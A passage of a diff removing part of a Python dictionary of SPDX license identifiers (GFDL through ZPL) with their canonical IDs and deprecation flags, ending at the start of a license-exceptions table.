-    'gfdl-1.2-no-invariants-or-later': {'id': 'GFDL-1.2-no-invariants-or-later', 'deprecated': False},
-    'gfdl-1.2-only': {'id': 'GFDL-1.2-only', 'deprecated': False},
-    'gfdl-1.2-or-later': {'id': 'GFDL-1.2-or-later', 'deprecated': False},
-    'gfdl-1.3': {'id': 'GFDL-1.3', 'deprecated': True},
-    'gfdl-1.3-invariants-only': {'id': 'GFDL-1.3-invariants-only', 'deprecated': False},
-    'gfdl-1.3-invariants-or-later': {'id': 'GFDL-1.3-invariants-or-later', 'deprecated': False},
-    'gfdl-1.3-no-invariants-only': {'id': 'GFDL-1.3-no-invariants-only', 'deprecated': False},
-    'gfdl-1.3-no-invariants-or-later': {'id': 'GFDL-1.3-no-invariants-or-later', 'deprecated': False},
-    'gfdl-1.3-only': {'id': 'GFDL-1.3-only', 'deprecated': False},
-    'gfdl-1.3-or-later': {'id': 'GFDL-1.3-or-later', 'deprecated': False},
-    'giftware': {'id': 'Giftware', 'deprecated': False},
-    'gl2ps': {'id': 'GL2PS', 'deprecated': False},
-    'glide': {'id': 'Glide', 'deprecated': False},
-    'glulxe': {'id': 'Glulxe', 'deprecated': False},
-    'glwtpl': {'id': 'GLWTPL', 'deprecated': False},
-    'gnuplot': {'id': 'gnuplot', 'deprecated': False},
-    'gpl-1.0': {'id': 'GPL-1.0', 'deprecated': True},
-    'gpl-1.0+': {'id': 'GPL-1.0+', 'deprecated': True},
-    'gpl-1.0-only': {'id': 'GPL-1.0-only', 'deprecated': False},
-    'gpl-1.0-or-later': {'id': 'GPL-1.0-or-later', 'deprecated': False},
-    'gpl-2.0': {'id': 'GPL-2.0', 'deprecated': True},
-    'gpl-2.0+': {'id': 'GPL-2.0+', 'deprecated': True},
-    'gpl-2.0-only': {'id': 'GPL-2.0-only', 'deprecated': False},
-    'gpl-2.0-or-later': {'id': 'GPL-2.0-or-later', 'deprecated': False},
-    'gpl-2.0-with-autoconf-exception': {'id': 'GPL-2.0-with-autoconf-exception', 'deprecated': True},
-    'gpl-2.0-with-bison-exception': {'id': 'GPL-2.0-with-bison-exception', 'deprecated': True},
-    'gpl-2.0-with-classpath-exception': {'id': 'GPL-2.0-with-classpath-exception', 'deprecated': True},
-    'gpl-2.0-with-font-exception': {'id': 'GPL-2.0-with-font-exception', 'deprecated': True},
-    'gpl-2.0-with-gcc-exception': {'id': 'GPL-2.0-with-GCC-exception', 'deprecated': True},
-    'gpl-3.0': {'id': 'GPL-3.0', 'deprecated': True},
-    'gpl-3.0+': {'id': 'GPL-3.0+', 'deprecated': True},
-    'gpl-3.0-only': {'id': 'GPL-3.0-only', 'deprecated': False},
-    'gpl-3.0-or-later': {'id': 'GPL-3.0-or-later', 'deprecated': False},
-    'gpl-3.0-with-autoconf-exception': {'id': 'GPL-3.0-with-autoconf-exception', 'deprecated': True},
-    'gpl-3.0-with-gcc-exception': {'id': 'GPL-3.0-with-GCC-exception', 'deprecated': True},
-    'graphics-gems': {'id': 'Graphics-Gems', 'deprecated': False},
-    'gsoap-1.3b': {'id': 'gSOAP-1.3b', 'deprecated': False},
-    'gtkbook': {'id': 'gtkbook', 'deprecated': False},
-    'gutmann': {'id': 'Gutmann', 'deprecated': False},
-    'haskellreport': {'id': 'HaskellReport', 'deprecated': False},
-    'hdf5': {'id': 'HDF5', 'deprecated': False},
-    'hdparm': {'id': 'hdparm', 'deprecated': False},
-    'hidapi': {'id': 'HIDAPI', 'deprecated': False},
-    'hippocratic-2.1': {'id': 'Hippocratic-2.1', 'deprecated': False},
-    'hp-1986': {'id': 'HP-1986', 'deprecated': False},
-    'hp-1989': {'id': 'HP-1989', 'deprecated': False},
-    'hpnd': {'id': 'HPND', 'deprecated': False},
-    'hpnd-dec': {'id': 'HPND-DEC', 'deprecated': False},
-    'hpnd-doc': {'id': 'HPND-doc', 'deprecated': False},
-    'hpnd-doc-sell': {'id': 'HPND-doc-sell', 'deprecated': False},
-    'hpnd-export-us': {'id': 'HPND-export-US', 'deprecated': False},
-    'hpnd-export-us-acknowledgement': {'id': 'HPND-export-US-acknowledgement', 'deprecated': False},
-    'hpnd-export-us-modify': {'id': 'HPND-export-US-modify', 'deprecated': False},
-    'hpnd-export2-us': {'id': 'HPND-export2-US', 'deprecated': False},
-    'hpnd-fenneberg-livingston': {'id': 'HPND-Fenneberg-Livingston', 'deprecated': False},
-    'hpnd-inria-imag': {'id': 'HPND-INRIA-IMAG', 'deprecated': False},
-    'hpnd-intel': {'id': 'HPND-Intel', 'deprecated': False},
-    'hpnd-kevlin-henney': {'id': 'HPND-Kevlin-Henney', 'deprecated': False},
-    'hpnd-markus-kuhn': {'id': 'HPND-Markus-Kuhn', 'deprecated': False},
-    'hpnd-merchantability-variant': {'id': 'HPND-merchantability-variant', 'deprecated': False},
-    'hpnd-mit-disclaimer': {'id': 'HPND-MIT-disclaimer', 'deprecated': False},
-    'hpnd-netrek': {'id': 'HPND-Netrek', 'deprecated': False},
-    'hpnd-pbmplus': {'id': 'HPND-Pbmplus', 'deprecated': False},
-    'hpnd-sell-mit-disclaimer-xserver': {'id': 'HPND-sell-MIT-disclaimer-xserver', 'deprecated': False},
-    'hpnd-sell-regexpr': {'id': 'HPND-sell-regexpr', 'deprecated': False},
-    'hpnd-sell-variant': {'id': 'HPND-sell-variant', 'deprecated': False},
-    'hpnd-sell-variant-mit-disclaimer': {'id': 'HPND-sell-variant-MIT-disclaimer', 'deprecated': False},
-    'hpnd-sell-variant-mit-disclaimer-rev': {'id': 'HPND-sell-variant-MIT-disclaimer-rev', 'deprecated': False},
-    'hpnd-uc': {'id': 'HPND-UC', 'deprecated': False},
-    'hpnd-uc-export-us': {'id': 'HPND-UC-export-US', 'deprecated': False},
-    'htmltidy': {'id': 'HTMLTIDY', 'deprecated': False},
-    'ibm-pibs': {'id': 'IBM-pibs', 'deprecated': False},
-    'icu': {'id': 'ICU', 'deprecated': False},
-    'iec-code-components-eula': {'id': 'IEC-Code-Components-EULA', 'deprecated': False},
-    'ijg': {'id': 'IJG', 'deprecated': False},
-    'ijg-short': {'id': 'IJG-short', 'deprecated': False},
-    'imagemagick': {'id': 'ImageMagick', 'deprecated': False},
-    'imatix': {'id': 'iMatix', 'deprecated': False},
-    'imlib2': {'id': 'Imlib2', 'deprecated': False},
-    'info-zip': {'id': 'Info-ZIP', 'deprecated': False},
-    'inner-net-2.0': {'id': 'Inner-Net-2.0', 'deprecated': False},
-    'innosetup': {'id': 'InnoSetup', 'deprecated': False},
-    'intel': {'id': 'Intel', 'deprecated': False},
-    'intel-acpi': {'id': 'Intel-ACPI', 'deprecated': False},
-    'interbase-1.0': {'id': 'Interbase-1.0', 'deprecated': False},
-    'ipa': {'id': 'IPA', 'deprecated': False},
-    'ipl-1.0': {'id': 'IPL-1.0', 'deprecated': False},
-    'isc': {'id': 'ISC', 'deprecated': False},
-    'isc-veillard': {'id': 'ISC-Veillard', 'deprecated': False},
-    'jam': {'id': 'Jam', 'deprecated': False},
-    'jasper-2.0': {'id': 'JasPer-2.0', 'deprecated': False},
-    'jove': {'id': 'jove', 'deprecated': False},
-    'jpl-image': {'id': 'JPL-image', 'deprecated': False},
-    'jpnic': {'id': 'JPNIC', 'deprecated': False},
-    'json': {'id': 'JSON', 'deprecated': False},
-    'kastrup': {'id': 'Kastrup', 'deprecated': False},
-    'kazlib': {'id': 'Kazlib', 'deprecated': False},
-    'knuth-ctan': {'id': 'Knuth-CTAN', 'deprecated': False},
-    'lal-1.2': {'id': 'LAL-1.2', 'deprecated': False},
-    'lal-1.3': {'id': 'LAL-1.3', 'deprecated': False},
-    'latex2e': {'id': 'Latex2e', 'deprecated': False},
-    'latex2e-translated-notice': {'id': 'Latex2e-translated-notice', 'deprecated': False},
-    'leptonica': {'id': 'Leptonica', 'deprecated': False},
-    'lgpl-2.0': {'id': 'LGPL-2.0', 'deprecated': True},
-    'lgpl-2.0+': {'id': 'LGPL-2.0+', 'deprecated': True},
-    'lgpl-2.0-only': {'id': 'LGPL-2.0-only', 'deprecated': False},
-    'lgpl-2.0-or-later': {'id': 'LGPL-2.0-or-later', 'deprecated': False},
-    'lgpl-2.1': {'id': 'LGPL-2.1', 'deprecated': True},
-    'lgpl-2.1+': {'id': 'LGPL-2.1+', 'deprecated': True},
-    'lgpl-2.1-only': {'id': 'LGPL-2.1-only', 'deprecated': False},
-    'lgpl-2.1-or-later': {'id': 'LGPL-2.1-or-later', 'deprecated': False},
-    'lgpl-3.0': {'id': 'LGPL-3.0', 'deprecated': True},
-    'lgpl-3.0+': {'id': 'LGPL-3.0+', 'deprecated': True},
-    'lgpl-3.0-only': {'id': 'LGPL-3.0-only', 'deprecated': False},
-    'lgpl-3.0-or-later': {'id': 'LGPL-3.0-or-later', 'deprecated': False},
-    'lgpllr': {'id': 'LGPLLR', 'deprecated': False},
-    'libpng': {'id': 'Libpng', 'deprecated': False},
-    'libpng-1.6.35': {'id': 'libpng-1.6.35', 'deprecated': False},
-    'libpng-2.0': {'id': 'libpng-2.0', 'deprecated': False},
-    'libselinux-1.0': {'id': 'libselinux-1.0', 'deprecated': False},
-    'libtiff': {'id': 'libtiff', 'deprecated': False},
-    'libutil-david-nugent': {'id': 'libutil-David-Nugent', 'deprecated': False},
-    'liliq-p-1.1': {'id': 'LiLiQ-P-1.1', 'deprecated': False},
-    'liliq-r-1.1': {'id': 'LiLiQ-R-1.1', 'deprecated': False},
-    'liliq-rplus-1.1': {'id': 'LiLiQ-Rplus-1.1', 'deprecated': False},
-    'linux-man-pages-1-para': {'id': 'Linux-man-pages-1-para', 'deprecated': False},
-    'linux-man-pages-copyleft': {'id': 'Linux-man-pages-copyleft', 'deprecated': False},
-    'linux-man-pages-copyleft-2-para': {'id': 'Linux-man-pages-copyleft-2-para', 'deprecated': False},
-    'linux-man-pages-copyleft-var': {'id': 'Linux-man-pages-copyleft-var', 'deprecated': False},
-    'linux-openib': {'id': 'Linux-OpenIB', 'deprecated': False},
-    'loop': {'id': 'LOOP', 'deprecated': False},
-    'lpd-document': {'id': 'LPD-document', 'deprecated': False},
-    'lpl-1.0': {'id': 'LPL-1.0', 'deprecated': False},
-    'lpl-1.02': {'id': 'LPL-1.02', 'deprecated': False},
-    'lppl-1.0': {'id': 'LPPL-1.0', 'deprecated': False},
-    'lppl-1.1': {'id': 'LPPL-1.1', 'deprecated': False},
-    'lppl-1.2': {'id': 'LPPL-1.2', 'deprecated': False},
-    'lppl-1.3a': {'id': 'LPPL-1.3a', 'deprecated': False},
-    'lppl-1.3c': {'id': 'LPPL-1.3c', 'deprecated': False},
-    'lsof': {'id': 'lsof', 'deprecated': False},
-    'lucida-bitmap-fonts': {'id': 'Lucida-Bitmap-Fonts', 'deprecated': False},
-    'lzma-sdk-9.11-to-9.20': {'id': 'LZMA-SDK-9.11-to-9.20', 'deprecated': False},
-    'lzma-sdk-9.22': {'id': 'LZMA-SDK-9.22', 'deprecated': False},
-    'mackerras-3-clause': {'id': 'Mackerras-3-Clause', 'deprecated': False},
-    'mackerras-3-clause-acknowledgment': {'id': 'Mackerras-3-Clause-acknowledgment', 'deprecated': False},
-    'magaz': {'id': 'magaz', 'deprecated': False},
-    'mailprio': {'id': 'mailprio', 'deprecated': False},
-    'makeindex': {'id': 'MakeIndex', 'deprecated': False},
-    'man2html': {'id': 'man2html', 'deprecated': False},
-    'martin-birgmeier': {'id': 'Martin-Birgmeier', 'deprecated': False},
-    'mcphee-slideshow': {'id': 'McPhee-slideshow', 'deprecated': False},
-    'metamail': {'id': 'metamail', 'deprecated': False},
-    'minpack': {'id': 'Minpack', 'deprecated': False},
-    'mips': {'id': 'MIPS', 'deprecated': False},
-    'miros': {'id': 'MirOS', 'deprecated': False},
-    'mit': {'id': 'MIT', 'deprecated': False},
-    'mit-0': {'id': 'MIT-0', 'deprecated': False},
-    'mit-advertising': {'id': 'MIT-advertising', 'deprecated': False},
-    'mit-click': {'id': 'MIT-Click', 'deprecated': False},
-    'mit-cmu': {'id': 'MIT-CMU', 'deprecated': False},
-    'mit-enna': {'id': 'MIT-enna', 'deprecated': False},
-    'mit-feh': {'id': 'MIT-feh', 'deprecated': False},
-    'mit-festival': {'id': 'MIT-Festival', 'deprecated': False},
-    'mit-khronos-old': {'id': 'MIT-Khronos-old', 'deprecated': False},
-    'mit-modern-variant': {'id': 'MIT-Modern-Variant', 'deprecated': False},
-    'mit-open-group': {'id': 'MIT-open-group', 'deprecated': False},
-    'mit-testregex': {'id': 'MIT-testregex', 'deprecated': False},
-    'mit-wu': {'id': 'MIT-Wu', 'deprecated': False},
-    'mitnfa': {'id': 'MITNFA', 'deprecated': False},
-    'mmixware': {'id': 'MMIXware', 'deprecated': False},
-    'motosoto': {'id': 'Motosoto', 'deprecated': False},
-    'mpeg-ssg': {'id': 'MPEG-SSG', 'deprecated': False},
-    'mpi-permissive': {'id': 'mpi-permissive', 'deprecated': False},
-    'mpich2': {'id': 'mpich2', 'deprecated': False},
-    'mpl-1.0': {'id': 'MPL-1.0', 'deprecated': False},
-    'mpl-1.1': {'id': 'MPL-1.1', 'deprecated': False},
-    'mpl-2.0': {'id': 'MPL-2.0', 'deprecated': False},
-    'mpl-2.0-no-copyleft-exception': {'id': 'MPL-2.0-no-copyleft-exception', 'deprecated': False},
-    'mplus': {'id': 'mplus', 'deprecated': False},
-    'ms-lpl': {'id': 'MS-LPL', 'deprecated': False},
-    'ms-pl': {'id': 'MS-PL', 'deprecated': False},
-    'ms-rl': {'id': 'MS-RL', 'deprecated': False},
-    'mtll': {'id': 'MTLL', 'deprecated': False},
-    'mulanpsl-1.0': {'id': 'MulanPSL-1.0', 'deprecated': False},
-    'mulanpsl-2.0': {'id': 'MulanPSL-2.0', 'deprecated': False},
-    'multics': {'id': 'Multics', 'deprecated': False},
-    'mup': {'id': 'Mup', 'deprecated': False},
-    'naist-2003': {'id': 'NAIST-2003', 'deprecated': False},
-    'nasa-1.3': {'id': 'NASA-1.3', 'deprecated': False},
-    'naumen': {'id': 'Naumen', 'deprecated': False},
-    'nbpl-1.0': {'id': 'NBPL-1.0', 'deprecated': False},
-    'ncbi-pd': {'id': 'NCBI-PD', 'deprecated': False},
-    'ncgl-uk-2.0': {'id': 'NCGL-UK-2.0', 'deprecated': False},
-    'ncl': {'id': 'NCL', 'deprecated': False},
-    'ncsa': {'id': 'NCSA', 'deprecated': False},
-    'net-snmp': {'id': 'Net-SNMP', 'deprecated': True},
-    'netcdf': {'id': 'NetCDF', 'deprecated': False},
-    'newsletr': {'id': 'Newsletr', 'deprecated': False},
-    'ngpl': {'id': 'NGPL', 'deprecated': False},
-    'ngrep': {'id': 'ngrep', 'deprecated': False},
-    'nicta-1.0': {'id': 'NICTA-1.0', 'deprecated': False},
-    'nist-pd': {'id': 'NIST-PD', 'deprecated': False},
-    'nist-pd-fallback': {'id': 'NIST-PD-fallback', 'deprecated': False},
-    'nist-software': {'id': 'NIST-Software', 'deprecated': False},
-    'nlod-1.0': {'id': 'NLOD-1.0', 'deprecated': False},
-    'nlod-2.0': {'id': 'NLOD-2.0', 'deprecated': False},
-    'nlpl': {'id': 'NLPL', 'deprecated': False},
-    'nokia': {'id': 'Nokia', 'deprecated': False},
-    'nosl': {'id': 'NOSL', 'deprecated': False},
-    'noweb': {'id': 'Noweb', 'deprecated': False},
-    'npl-1.0': {'id': 'NPL-1.0', 'deprecated': False},
-    'npl-1.1': {'id': 'NPL-1.1', 'deprecated': False},
-    'nposl-3.0': {'id': 'NPOSL-3.0', 'deprecated': False},
-    'nrl': {'id': 'NRL', 'deprecated': False},
-    'ntia-pd': {'id': 'NTIA-PD', 'deprecated': False},
-    'ntp': {'id': 'NTP', 'deprecated': False},
-    'ntp-0': {'id': 'NTP-0', 'deprecated': False},
-    'nunit': {'id': 'Nunit', 'deprecated': True},
-    'o-uda-1.0': {'id': 'O-UDA-1.0', 'deprecated': False},
-    'oar': {'id': 'OAR', 'deprecated': False},
-    'occt-pl': {'id': 'OCCT-PL', 'deprecated': False},
-    'oclc-2.0': {'id': 'OCLC-2.0', 'deprecated': False},
-    'odbl-1.0': {'id': 'ODbL-1.0', 'deprecated': False},
-    'odc-by-1.0': {'id': 'ODC-By-1.0', 'deprecated': False},
-    'offis': {'id': 'OFFIS', 'deprecated': False},
-    'ofl-1.0': {'id': 'OFL-1.0', 'deprecated': False},
-    'ofl-1.0-no-rfn': {'id': 'OFL-1.0-no-RFN', 'deprecated': False},
-    'ofl-1.0-rfn': {'id': 'OFL-1.0-RFN', 'deprecated': False},
-    'ofl-1.1': {'id': 'OFL-1.1', 'deprecated': False},
-    'ofl-1.1-no-rfn': {'id': 'OFL-1.1-no-RFN', 'deprecated': False},
-    'ofl-1.1-rfn': {'id': 'OFL-1.1-RFN', 'deprecated': False},
-    'ogc-1.0': {'id': 'OGC-1.0', 'deprecated': False},
-    'ogdl-taiwan-1.0': {'id': 'OGDL-Taiwan-1.0', 'deprecated': False},
-    'ogl-canada-2.0': {'id': 'OGL-Canada-2.0', 'deprecated': False},
-    'ogl-uk-1.0': {'id': 'OGL-UK-1.0', 'deprecated': False},
-    'ogl-uk-2.0': {'id': 'OGL-UK-2.0', 'deprecated': False},
-    'ogl-uk-3.0': {'id': 'OGL-UK-3.0', 'deprecated': False},
-    'ogtsl': {'id': 'OGTSL', 'deprecated': False},
-    'oldap-1.1': {'id': 'OLDAP-1.1', 'deprecated': False},
-    'oldap-1.2': {'id': 'OLDAP-1.2', 'deprecated': False},
-    'oldap-1.3': {'id': 'OLDAP-1.3', 'deprecated': False},
-    'oldap-1.4': {'id': 'OLDAP-1.4', 'deprecated': False},
-    'oldap-2.0': {'id': 'OLDAP-2.0', 'deprecated': False},
-    'oldap-2.0.1': {'id': 'OLDAP-2.0.1', 'deprecated': False},
-    'oldap-2.1': {'id': 'OLDAP-2.1', 'deprecated': False},
-    'oldap-2.2': {'id': 'OLDAP-2.2', 'deprecated': False},
-    'oldap-2.2.1': {'id': 'OLDAP-2.2.1', 'deprecated': False},
-    'oldap-2.2.2': {'id': 'OLDAP-2.2.2', 'deprecated': False},
-    'oldap-2.3': {'id': 'OLDAP-2.3', 'deprecated': False},
-    'oldap-2.4': {'id': 'OLDAP-2.4', 'deprecated': False},
-    'oldap-2.5': {'id': 'OLDAP-2.5', 'deprecated': False},
-    'oldap-2.6': {'id': 'OLDAP-2.6', 'deprecated': False},
-    'oldap-2.7': {'id': 'OLDAP-2.7', 'deprecated': False},
-    'oldap-2.8': {'id': 'OLDAP-2.8', 'deprecated': False},
-    'olfl-1.3': {'id': 'OLFL-1.3', 'deprecated': False},
-    'oml': {'id': 'OML', 'deprecated': False},
-    'openpbs-2.3': {'id': 'OpenPBS-2.3', 'deprecated': False},
-    'openssl': {'id': 'OpenSSL', 'deprecated': False},
-    'openssl-standalone': {'id': 'OpenSSL-standalone', 'deprecated': False},
-    'openvision': {'id': 'OpenVision', 'deprecated': False},
-    'opl-1.0': {'id': 'OPL-1.0', 'deprecated': False},
-    'opl-uk-3.0': {'id': 'OPL-UK-3.0', 'deprecated': False},
-    'opubl-1.0': {'id': 'OPUBL-1.0', 'deprecated': False},
-    'oset-pl-2.1': {'id': 'OSET-PL-2.1', 'deprecated': False},
-    'osl-1.0': {'id': 'OSL-1.0', 'deprecated': False},
-    'osl-1.1': {'id': 'OSL-1.1', 'deprecated': False},
-    'osl-2.0': {'id': 'OSL-2.0', 'deprecated': False},
-    'osl-2.1': {'id': 'OSL-2.1', 'deprecated': False},
-    'osl-3.0': {'id': 'OSL-3.0', 'deprecated': False},
-    'padl': {'id': 'PADL', 'deprecated': False},
-    'parity-6.0.0': {'id': 'Parity-6.0.0', 'deprecated': False},
-    'parity-7.0.0': {'id': 'Parity-7.0.0', 'deprecated': False},
-    'pddl-1.0': {'id': 'PDDL-1.0', 'deprecated': False},
-    'php-3.0': {'id': 'PHP-3.0', 'deprecated': False},
-    'php-3.01': {'id': 'PHP-3.01', 'deprecated': False},
-    'pixar': {'id': 'Pixar', 'deprecated': False},
-    'pkgconf': {'id': 'pkgconf', 'deprecated': False},
-    'plexus': {'id': 'Plexus', 'deprecated': False},
-    'pnmstitch': {'id': 'pnmstitch', 'deprecated': False},
-    'polyform-noncommercial-1.0.0': {'id': 'PolyForm-Noncommercial-1.0.0', 'deprecated': False},
-    'polyform-small-business-1.0.0': {'id': 'PolyForm-Small-Business-1.0.0', 'deprecated': False},
-    'postgresql': {'id': 'PostgreSQL', 'deprecated': False},
-    'ppl': {'id': 'PPL', 'deprecated': False},
-    'psf-2.0': {'id': 'PSF-2.0', 'deprecated': False},
-    'psfrag': {'id': 'psfrag', 'deprecated': False},
-    'psutils': {'id': 'psutils', 'deprecated': False},
-    'python-2.0': {'id': 'Python-2.0', 'deprecated': False},
-    'python-2.0.1': {'id': 'Python-2.0.1', 'deprecated': False},
-    'python-ldap': {'id': 'python-ldap', 'deprecated': False},
-    'qhull': {'id': 'Qhull', 'deprecated': False},
-    'qpl-1.0': {'id': 'QPL-1.0', 'deprecated': False},
-    'qpl-1.0-inria-2004': {'id': 'QPL-1.0-INRIA-2004', 'deprecated': False},
-    'radvd': {'id': 'radvd', 'deprecated': False},
-    'rdisc': {'id': 'Rdisc', 'deprecated': False},
-    'rhecos-1.1': {'id': 'RHeCos-1.1', 'deprecated': False},
-    'rpl-1.1': {'id': 'RPL-1.1', 'deprecated': False},
-    'rpl-1.5': {'id': 'RPL-1.5', 'deprecated': False},
-    'rpsl-1.0': {'id': 'RPSL-1.0', 'deprecated': False},
-    'rsa-md': {'id': 'RSA-MD', 'deprecated': False},
-    'rscpl': {'id': 'RSCPL', 'deprecated': False},
-    'ruby': {'id': 'Ruby', 'deprecated': False},
-    'ruby-pty': {'id': 'Ruby-pty', 'deprecated': False},
-    'sax-pd': {'id': 'SAX-PD', 'deprecated': False},
-    'sax-pd-2.0': {'id': 'SAX-PD-2.0', 'deprecated': False},
-    'saxpath': {'id': 'Saxpath', 'deprecated': False},
-    'scea': {'id': 'SCEA', 'deprecated': False},
-    'schemereport': {'id': 'SchemeReport', 'deprecated': False},
-    'sendmail': {'id': 'Sendmail', 'deprecated': False},
-    'sendmail-8.23': {'id': 'Sendmail-8.23', 'deprecated': False},
-    'sendmail-open-source-1.1': {'id': 'Sendmail-Open-Source-1.1', 'deprecated': False},
-    'sgi-b-1.0': {'id': 'SGI-B-1.0', 'deprecated': False},
-    'sgi-b-1.1': {'id': 'SGI-B-1.1', 'deprecated': False},
-    'sgi-b-2.0': {'id': 'SGI-B-2.0', 'deprecated': False},
-    'sgi-opengl': {'id': 'SGI-OpenGL', 'deprecated': False},
-    'sgp4': {'id': 'SGP4', 'deprecated': False},
-    'shl-0.5': {'id': 'SHL-0.5', 'deprecated': False},
-    'shl-0.51': {'id': 'SHL-0.51', 'deprecated': False},
-    'simpl-2.0': {'id': 'SimPL-2.0', 'deprecated': False},
-    'sissl': {'id': 'SISSL', 'deprecated': False},
-    'sissl-1.2': {'id': 'SISSL-1.2', 'deprecated': False},
-    'sl': {'id': 'SL', 'deprecated': False},
-    'sleepycat': {'id': 'Sleepycat', 'deprecated': False},
-    'smail-gpl': {'id': 'SMAIL-GPL', 'deprecated': False},
-    'smlnj': {'id': 'SMLNJ', 'deprecated': False},
-    'smppl': {'id': 'SMPPL', 'deprecated': False},
-    'snia': {'id': 'SNIA', 'deprecated': False},
-    'snprintf': {'id': 'snprintf', 'deprecated': False},
-    'sofa': {'id': 'SOFA', 'deprecated': False},
-    'softsurfer': {'id': 'softSurfer', 'deprecated': False},
-    'soundex': {'id': 'Soundex', 'deprecated': False},
-    'spencer-86': {'id': 'Spencer-86', 'deprecated': False},
-    'spencer-94': {'id': 'Spencer-94', 'deprecated': False},
-    'spencer-99': {'id': 'Spencer-99', 'deprecated': False},
-    'spl-1.0': {'id': 'SPL-1.0', 'deprecated': False},
-    'ssh-keyscan': {'id': 'ssh-keyscan', 'deprecated': False},
-    'ssh-openssh': {'id': 'SSH-OpenSSH', 'deprecated': False},
-    'ssh-short': {'id': 'SSH-short', 'deprecated': False},
-    'ssleay-standalone': {'id': 'SSLeay-standalone', 'deprecated': False},
-    'sspl-1.0': {'id': 'SSPL-1.0', 'deprecated': False},
-    'standardml-nj': {'id': 'StandardML-NJ', 'deprecated': True},
-    'sugarcrm-1.1.3': {'id': 'SugarCRM-1.1.3', 'deprecated': False},
-    'sul-1.0': {'id': 'SUL-1.0', 'deprecated': False},
-    'sun-ppp': {'id': 'Sun-PPP', 'deprecated': False},
-    'sun-ppp-2000': {'id': 'Sun-PPP-2000', 'deprecated': False},
-    'sunpro': {'id': 'SunPro', 'deprecated': False},
-    'swl': {'id': 'SWL', 'deprecated': False},
-    'swrule': {'id': 'swrule', 'deprecated': False},
-    'symlinks': {'id': 'Symlinks', 'deprecated': False},
-    'tapr-ohl-1.0': {'id': 'TAPR-OHL-1.0', 'deprecated': False},
-    'tcl': {'id': 'TCL', 'deprecated': False},
-    'tcp-wrappers': {'id': 'TCP-wrappers', 'deprecated': False},
-    'termreadkey': {'id': 'TermReadKey', 'deprecated': False},
-    'tgppl-1.0': {'id': 'TGPPL-1.0', 'deprecated': False},
-    'thirdeye': {'id': 'ThirdEye', 'deprecated': False},
-    'threeparttable': {'id': 'threeparttable', 'deprecated': False},
-    'tmate': {'id': 'TMate', 'deprecated': False},
-    'torque-1.1': {'id': 'TORQUE-1.1', 'deprecated': False},
-    'tosl': {'id': 'TOSL', 'deprecated': False},
-    'tpdl': {'id': 'TPDL', 'deprecated': False},
-    'tpl-1.0': {'id': 'TPL-1.0', 'deprecated': False},
-    'trustedqsl': {'id': 'TrustedQSL', 'deprecated': False},
-    'ttwl': {'id': 'TTWL', 'deprecated': False},
-    'ttyp0': {'id': 'TTYP0', 'deprecated': False},
-    'tu-berlin-1.0': {'id': 'TU-Berlin-1.0', 'deprecated': False},
-    'tu-berlin-2.0': {'id': 'TU-Berlin-2.0', 'deprecated': False},
-    'ubuntu-font-1.0': {'id': 'Ubuntu-font-1.0', 'deprecated': False},
-    'ucar': {'id': 'UCAR', 'deprecated': False},
-    'ucl-1.0': {'id': 'UCL-1.0', 'deprecated': False},
-    'ulem': {'id': 'ulem', 'deprecated': False},
-    'umich-merit': {'id': 'UMich-Merit', 'deprecated': False},
-    'unicode-3.0': {'id': 'Unicode-3.0', 'deprecated': False},
-    'unicode-dfs-2015': {'id': 'Unicode-DFS-2015', 'deprecated': False},
-    'unicode-dfs-2016': {'id': 'Unicode-DFS-2016', 'deprecated': False},
-    'unicode-tou': {'id': 'Unicode-TOU', 'deprecated': False},
-    'unixcrypt': {'id': 'UnixCrypt', 'deprecated': False},
-    'unlicense': {'id': 'Unlicense', 'deprecated': False},
-    'unlicense-libtelnet': {'id': 'Unlicense-libtelnet', 'deprecated': False},
-    'unlicense-libwhirlpool': {'id': 'Unlicense-libwhirlpool', 'deprecated': False},
-    'upl-1.0': {'id': 'UPL-1.0', 'deprecated': False},
-    'urt-rle': {'id': 'URT-RLE', 'deprecated': False},
-    'vim': {'id': 'Vim', 'deprecated': False},
-    'vostrom': {'id': 'VOSTROM', 'deprecated': False},
-    'vsl-1.0': {'id': 'VSL-1.0', 'deprecated': False},
-    'w3c': {'id': 'W3C', 'deprecated': False},
-    'w3c-19980720': {'id': 'W3C-19980720', 'deprecated': False},
-    'w3c-20150513': {'id': 'W3C-20150513', 'deprecated': False},
-    'w3m': {'id': 'w3m', 'deprecated': False},
-    'watcom-1.0': {'id': 'Watcom-1.0', 'deprecated': False},
-    'widget-workshop': {'id': 'Widget-Workshop', 'deprecated': False},
-    'wsuipa': {'id': 'Wsuipa', 'deprecated': False},
-    'wtfpl': {'id': 'WTFPL', 'deprecated': False},
-    'wwl': {'id': 'wwl', 'deprecated': False},
-    'wxwindows': {'id': 'wxWindows', 'deprecated': True},
-    'x11': {'id': 'X11', 'deprecated': False},
-    'x11-distribute-modifications-variant': {'id': 'X11-distribute-modifications-variant', 'deprecated': False},
-    'x11-swapped': {'id': 'X11-swapped', 'deprecated': False},
-    'xdebug-1.03': {'id': 'Xdebug-1.03', 'deprecated': False},
-    'xerox': {'id': 'Xerox', 'deprecated': False},
-    'xfig': {'id': 'Xfig', 'deprecated': False},
-    'xfree86-1.1': {'id': 'XFree86-1.1', 'deprecated': False},
-    'xinetd': {'id': 'xinetd', 'deprecated': False},
-    'xkeyboard-config-zinoviev': {'id': 'xkeyboard-config-Zinoviev', 'deprecated': False},
-    'xlock': {'id': 'xlock', 'deprecated': False},
-    'xnet': {'id': 'Xnet', 'deprecated': False},
-    'xpp': {'id': 'xpp', 'deprecated': False},
-    'xskat': {'id': 'XSkat', 'deprecated': False},
-    'xzoom': {'id': 'xzoom', 'deprecated': False},
-    'ypl-1.0': {'id': 'YPL-1.0', 'deprecated': False},
-    'ypl-1.1': {'id': 'YPL-1.1', 'deprecated': False},
-    'zed': {'id': 'Zed', 'deprecated': False},
-    'zeeff': {'id': 'Zeeff', 'deprecated': False},
-    'zend-2.0': {'id': 'Zend-2.0', 'deprecated': False},
-    'zimbra-1.3': {'id': 'Zimbra-1.3', 'deprecated': False},
-    'zimbra-1.4': {'id': 'Zimbra-1.4', 'deprecated': False},
-    'zlib': {'id': 'Zlib', 'deprecated': False},
-    'zlib-acknowledgement': {'id': 'zlib-acknowledgement', 'deprecated': False},
-    'zpl-1.1': {'id': 'ZPL-1.1', 'deprecated': False},
-    'zpl-2.0': {'id': 'ZPL-2.0', 'deprecated': False},
-    'zpl-2.1': {'id': 'ZPL-2.1', 'deprecated': False},
-}
-
-EXCEPTIONS: dict[str, SPDXException] = {
-    '389-exception': {'id': '389-exception', 'deprecated': False},
-    'asterisk-exception': {'id': 'Asterisk-exception', 'deprecated': False},
